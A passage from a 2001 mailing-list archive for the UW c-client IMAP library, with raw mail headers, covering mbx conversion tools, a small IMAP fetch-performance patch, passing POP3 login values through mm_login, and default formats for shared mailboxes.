f574LmC12443; Wed, 6 Jun 2001 21:21:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f574KkE28090; Wed, 6 Jun 2001 21:20:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574HV0106610 for ; Wed, 6 Jun 2001 21:17:35 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574HVK22272 for ; Wed, 6 Jun 2001 21:17:31 -0700 Received: from terryhome (cx304336-e.omhaw1.ne.home.com [65.6.93.48]) by hermes.birddog.com (8.11.2/go_away) with SMTP id f574Xjl03987 for ; Wed, 6 Jun 2001 23:33:45 -0500 Message-Id: Date: Wed, 6 Jun 2001 23:19:35 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Terry Davis" To: Subject: mbx reader ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a command line utility out there to convert unix mbx format to something readable ? Thank you Terry -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 6 21:32:22 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Jun 2001 21:32:21 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f574WKD15623 for ; Wed, 6 Jun 2001 21:32:20 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 06 21:32:20 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574WHu15822; Wed, 6 Jun 2001 21:32:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f574W7E28150; Wed, 6 Jun 2001 21:32:07 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574U90106702 for ; Wed, 6 Jun 2001 21:30:09 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574U9F05352 for ; Wed, 6 Jun 2001 21:30:09 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9] (may be forged)) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574U9o17926; Wed, 6 Jun 2001 21:30:09 -0700 Received: from butsumetsu-shi.cac.washington.edu (butsumetsu-shi.cac.washington.edu [128.95.135.118]) (authenticated (0 bits)) by smtp.washington.edu (8.12.0.Beta7+UW01.04/8.12.0.Beta7+UW01.04) with ESMTP id f574U9IW005926 (using TLSv1/SSLv3 with cipher RC4-MD5 (128 bits) verified NO); Wed, 6 Jun 2001 21:30:09 -0700 Message-Id: Date: Wed, 6 Jun 2001 21:30:22 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Terry Davis Cc: c-client@u.washington.edu Subject: Re: mbx reader ? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 6 Jun 2001, Terry Davis wrote: > Is there a command line utility out there to convert unix mbx format to > something readable ? Yes, the imap-utils package has several useful command line tools. ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z For example, mbxcvt reads a mailbox in one format and writes it in a different format. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Jun 6 21:34:36 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Jun 2001 21:34:36 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f574YZD27453 for ; Wed, 6 Jun 2001 21:34:35 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 06 21:34:34 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574YWu15872; Wed, 6 Jun 2001 21:34:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f574YOE28158; Wed, 6 Jun 2001 21:34:24 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574WN007104 for ; Wed, 6 Jun 2001 21:32:23 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f574WMs03583 for ; Wed, 6 Jun 2001 21:32:22 -0700 Received: from terryhome (cx304336-e.omhaw1.ne.home.com [65.6.93.48]) by hermes.birddog.com (8.11.2/go_away) with SMTP id f574mbl04148; Wed, 6 Jun 2001 23:48:37 -0500 Message-Id: Date: Wed, 6 Jun 2001 23:34:28 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Terry Davis" To: "Mark Crispin" Cc: Subject: RE: mbx reader ? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN very cool. Thanks Mark! -----Original Message----- From: mrc@shivams.cac.washington.edu [mailto:mrc@shivams.cac.washington.edu]On Behalf Of Mark Crispin Sent: Wednesday, June 06, 2001 11:30 PM To: Terry Davis Cc: c-client@u.washington.edu Subject: Re: mbx reader ? On Wed, 6 Jun 2001, Terry Davis wrote: > Is there a command line utility out there to convert unix mbx format to > something readable ? Yes, the imap-utils package has several useful command line tools. ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z For example, mbxcvt reads a mailbox in one format and writes it in a different format. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jun 7 09:36:32 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Jun 2001 09:36:32 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57GaVD19764 for ; Thu, 7 Jun 2001 09:36:31 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu Jun 07 09:36:30 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57GaSu31555; Thu, 7 Jun 2001 09:36:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57Ga6H29784; Thu, 7 Jun 2001 09:36:07 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57GVX025628 for ; Thu, 7 Jun 2001 09:31:33 -0700 Received: from ns1.sevenkings.net (ns1.sevenkings.net [216.126.141.50]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57GVWX23120 for ; Thu, 7 Jun 2001 09:31:32 -0700 Received: from clt88-150-168.carolina.rr.com (clt88-150-168.carolina.rr.com [24.88.150.168]) (authenticated (0 bits)) by ns1.sevenkings.net (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f57GVVI29291 for ; Thu, 7 Jun 2001 11:31:31 -0500 Message-Id: Date: Thu, 07 Jun 2001 12:31:29 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Egan To: c-client@u.washington.edu Subject: patch for horde/imp MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--=_13bvhtkjhn0fhebhg116r1afqrfdd30e1n.MFSBCHJLHS" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ----=_13bvhtkjhn0fhebhg116r1afqrfdd30e1n.MFSBCHJLHS Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I have a patch to imap4r1.[ch] which improves tcp performance when horde/imp uses c-client. It adds one fetch option and two search options to the .h file. The changes to the .c file are transparent; behaviour is unchanged for any user not specifying the new options. The patch is against imap-2000. It is simple, so presumably it would apply easily to the current version. Would you consider accepting the patch? Egan ----=_13bvhtkjhn0fhebhg116r1afqrfdd30e1n.MFSBCHJLHS Content-Type: text/plain; charset=us-ascii; name=patch.txt Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=patch.txt --- src/c-client/mail.h Tue Oct 24 18:11:40 2000 +++ src/c-client/mail.h Thu Jun 7 10:21:29 2001 @@ -329,6 +329,7 @@ #define FT_NOT (long) 4 /* NOT flag for header lines fetch */ #define FT_INTERNAL (long) 8 /* text can be internal strings */ #define FT_PREFETCHTEXT (long) 16 /* IMAP prefetch text when fetching header */ +#define FT_EXCLHDR (long) 32768 /* exclude headers */ /* Flagging options */ @@ -353,6 +354,8 @@ #define SO_NOSERVER (long) 16 /* don't do server-based sort */ #define SE_RETAIN (long) 32 /* retain previous search results */ #define SO_OVERVIEW (long) 64 /* use overviews in searching (NNTP only) */ +#define SE_INCLBST (long) 16384 /* include BODYSTRUCTURE prefetching */ +#define SE_EXCLHDR (long) 32768 /* exclude headers prefetching */ /* Status options */ --- src/c-client/imap4r1.c Tue Oct 24 18:12:58 2000 +++ src/c-client/imap4r1.c Thu Jun 7 10:23:43 2001 @@ -1184,7 +1184,8 @@ /* IMAP UID fetching is a special case */ if (LEVELIMAP4 (stream) && (flags & FT_UID)) { strcpy (tmp,allheader); - if (LEVELIMAP4rev1(stream)){/* get extra headers if IMAP4rev1 */ + /* get extra headers if IMAP4rev1 */ + if (LEVELIMAP4rev1(stream) && !(flags & FT_EXCLHDR)){ if (imap_extrahdrs) sprintf (tmp + strlen (tmp)," %s %s %s", hdrheader,imap_extrahdrs,hdrtrailer); else sprintf (tmp + strlen (tmp)," %s %s",hdrheader,hdrtrailer); @@ -1548,10 +1549,13 @@ aseq.text = (void *) cpystr (LOCAL->tmp); if (LEVELIMAP4 (stream)) {/* IMAP4 fetching does more */ strcpy (tmp,allheader); - if (LEVELIMAP4rev1 (stream)) { + if (LEVELIMAP4rev1 (stream) && !(flags & SE_EXCLHDR)) { if (imap_extrahdrs) sprintf (tmp + strlen (tmp)," %s %s %s", hdrheader,imap_extrahdrs,hdrtrailer); else sprintf (tmp + strlen (tmp)," %s %s",hdrheader,hdrtrailer); + } + if (flags & SE_INCLBST) { + strcat (tmp," BODYSTRUCTURE"); } sprintf (tmp + strlen (tmp)," %s",fasttrailer); aatt.text = (void *) tmp; ----=_13bvhtkjhn0fhebhg116r1afqrfdd30e1n.MFSBCHJLHS-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 7 11:13:59 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Jun 2001 11:13:58 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57IDvD02675 for ; Thu, 7 Jun 2001 11:13:57 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Jun 07 11:13:56 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IDsC32245; Thu, 7 Jun 2001 11:13:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57IDaH23548; Thu, 7 Jun 2001 11:13:37 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57I9k084400; Thu, 7 Jun 2001 11:09:46 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57I9gF11893; Thu, 7 Jun 2001 11:09:42 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57I9fC32092; Thu, 7 Jun 2001 11:09:41 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id LAA22019; Thu, 7 Jun 2001 11:09:35 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A64.0064255F ; Thu, 7 Jun 2001 11:13:51 -0700 Message-Id: <88256A64.006424CF.00@notes.centigram.com> Date: Thu, 7 Jun 2001 11:14:57 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU, pine-info@CAC.Washington.EDU Subject: LOGIN in POP3 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, This is regarding login phase in POP3. After I do pop3_open, I need to login to the mailbox. For this I need to pass the USER and the PASS values. I understand that the pop3_auth() gets these values by calling mm_login() and passes those values thru pop3_send (stream,"USER",usr) and pop3_send (stream,"PASS",tmp) commands. In my program I just hardcoded these values in the mm_login function. My question is how do I pass/set these values(user name and passowrd) from my function so that its taken during pop3_auth for login. Thanks, Manjula -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Thu Jun 7 11:23:01 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Jun 2001 11:23:01 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57IN0D17735 for ; Thu, 7 Jun 2001 11:23:00 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Jun 07 11:22:59 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IMuC32659; Thu, 7 Jun 2001 11:22:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57IMiE26766; Thu, 7 Jun 2001 11:22:44 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IJ70105996; Thu, 7 Jun 2001 11:19:07 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IJ6K07908; Thu, 7 Jun 2001 11:19:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (sra@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IJ6C32471; Thu, 7 Jun 2001 11:19:06 -0700 Message-Id: Date: Thu, 7 Jun 2001 11:16:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: manjula_hullatti@adc.com Cc: c-client@CAC.Washington.EDU, pine-info@CAC.Washington.EDU Subject: re: LOGIN in POP3 In-Reply-To: <88256A64.006424CF.00@notes.centigram.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It should suffice to hard code them in mm_login(). Note that c-client passes buffers, so you have to do something like strcpy (user,"fred"); strcpy (password,"sesame"); instead of user = "fred"; password = "sesame"; On Thu, 7 Jun 2001 11:14:57 -0700, manjula_hullatti@adc.com wrote: > This is regarding login phase in POP3. After I do pop3_open, > I need to login to the mailbox. For this I need to pass the USER > and the PASS values. I understand that the pop3_auth() gets these > values by calling mm_login() and passes those values thru > pop3_send (stream,"USER",usr) and pop3_send (stream,"PASS",tmp) > commands. In my program I just hardcoded these values in the mm_login > function. My question is how do I pass/set these values(user name and > passowrd) > from my function so that its taken during pop3_auth for login. From pinedev@shivax2.cac.washington.edu Thu Jun 7 11:44:37 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Jun 2001 11:44:36 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57IiXD06754 for ; Thu, 7 Jun 2001 11:44:33 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Jun 07 11:44:32 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IiUC01100; Thu, 7 Jun 2001 11:44:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57IgNX14902; Thu, 7 Jun 2001 11:42:24 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IbS041756 for ; Thu, 7 Jun 2001 11:37:28 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IbSX32728 for ; Thu, 7 Jun 2001 11:37:28 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57IbSu04179 for ; Thu, 7 Jun 2001 11:37:28 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id LAA22640 for ; Thu, 7 Jun 2001 11:37:22 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A64.0066AF1C ; Thu, 7 Jun 2001 11:41:35 -0700 Message-Id: <88256A64.0066AE44.00@notes.centigram.com> Date: Thu, 7 Jun 2001 11:42:40 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU Subject: re: LOGIN in POP3 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, Whenever there is a pop3 request for an user, I do pop3_open and then pop3_auth. mm_login is being called from pop3_auth. So how do I make available those values inside mm_login so that it can set the user and password buffers sent by pop3_auth ? Thanks, Manjula ----- Forwarded by Manjula Hullatti/US/Centigram on 06/07/2001 11:29 AM ----- |--------+------------------------> | | Mark Crispin | | | | | | | | | 06/07/2001 | | | 11:16 AM | | | | |--------+------------------------> >------------------------------------------------| | | | To: manjula_hullatti@adc.com | | cc: c-client@CAC.Washington.EDU, | | pine-info@CAC.Washington.EDU, (bcc: | | Manjula Hullatti/US/Centigram) | | Subject: re: LOGIN in POP3 | >------------------------------------------------| It should suffice to hard code them in mm_login(). Note that c-client passes buffers, so you have to do something like strcpy (user,"fred"); strcpy (password,"sesame"); instead of user = "fred"; password = "sesame"; On Thu, 7 Jun 2001 11:14:57 -0700, manjula_hullatti@adc.com wrote: > This is regarding login phase in POP3. After I do pop3_open, > I need to login to the mailbox. For this I need to pass the USER > and the PASS values. I understand that the pop3_auth() gets these > values by calling mm_login() and passes those values thru > pop3_send (stream,"USER",usr) and pop3_send (stream,"PASS",tmp) > commands. In my program I just hardcoded these values in the mm_login > function. My question is how do I pass/set these values(user name and > passowrd) > from my function so that its taken during pop3_auth for login. From pinedev@shivax2.cac.washington.edu Thu Jun 7 13:51:41 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Jun 2001 13:51:41 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57KpdD02876 for ; Thu, 7 Jun 2001 13:51:40 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Jun 07 13:51:38 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57KpVC05320; Thu, 7 Jun 2001 13:51:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57KoCH15314; Thu, 7 Jun 2001 13:50:12 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57KkW084394 for ; Thu, 7 Jun 2001 13:46:32 -0700 Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57KkWs25112 for ; Thu, 7 Jun 2001 13:46:32 -0700 Received: from [195.20.224.219] (helo=mrvdom03.kundenserver.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 1586fn-0000JA-00 for c-client@u.washington.edu; Thu, 7 Jun 2001 22:46:31 +0200 Received: from stgdi6-213-023-031-157.arcor-ip.net ([213.23.31.157] helo=steve) by mrvdom03.kundenserver.de with smtp (Exim 2.12 #2) id 1586f0-0003xU-00 for c-client@u.washington.edu; Thu, 7 Jun 2001 22:45:42 +0200 Message-Id: <001c01c0ef92$d0e18c40$2100a8c0@steve> Date: Thu, 7 Jun 2001 22:45:33 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Stephan Zehrer" To: Subject: Mailbox Format in #Shared MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, i have a simpel question, when i create a mailbox in a shared folder with my imap client i creat default the standard unix format (is this correct ? ) why ? it is typical for shared folder that more people read there messages. What i have to do to change this ? Simple chage the default mail type ? When yes .. this has no effect for the other mailboxes ? thx bye Steve -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 7 13:58:13 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Jun 2001 13:58:13 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57KwBD07674 for ; Thu, 7 Jun 2001 13:58:11 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu Jun 07 13:58:10 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57Kw8u09163; Thu, 7 Jun 2001 13:58:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57KvsE16884; Thu, 7 Jun 2001 13:57:55 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57KsV016388 for ; Thu, 7 Jun 2001 13:54:31 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (sarr@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57KsVK23005 for ; Thu, 7 Jun 2001 13:54:31 -0700 Message-Id: Date: Thu, 7 Jun 2001 13:53:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Stephan Zehrer Cc: c-client@u.washington.edu Subject: re: Mailbox Format in #Shared In-Reply-To: <001c01c0ef92$d0e18c40$2100a8c0@steve> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Jun 2001 22:45:33 +0200, Stephan Zehrer wrote: > when i create a mailbox in a shared folder with my imap client > i creat default the standard unix format (is this correct ? ) > why ? It doesn't matter where a mailbox is created; the default format is always used. > What i have to do to change this ? > Simple chage the default mail type ? Yes. > When yes .. this has no effect for the > other mailboxes ? Changing the default format (CREATEPROTO) changes it for all newly-created mailboxes. It does not affect existing mailboxes. From pinedev@shivax2.cac.washington.edu Thu Jun 7 14:22:22 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Jun 2001 14:22:22 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57LMLD20292 for ; Thu, 7 Jun 2001 14:22:21 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Jun 07 14:22:20 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57LMHC06477; Thu, 7 Jun 2001 14:22:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f57LLiX23312; Thu, 7 Jun 2001 14:21:44 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57LHr041792 for ; Thu, 7 Jun 2001 14:17:53 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f57LHrs02265 for ; Thu, 7 Jun 2001 14:17:53 -0700 Received: from ns1.sevenkings.net (ns1.sevenkings.net [216.126.141.50]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with 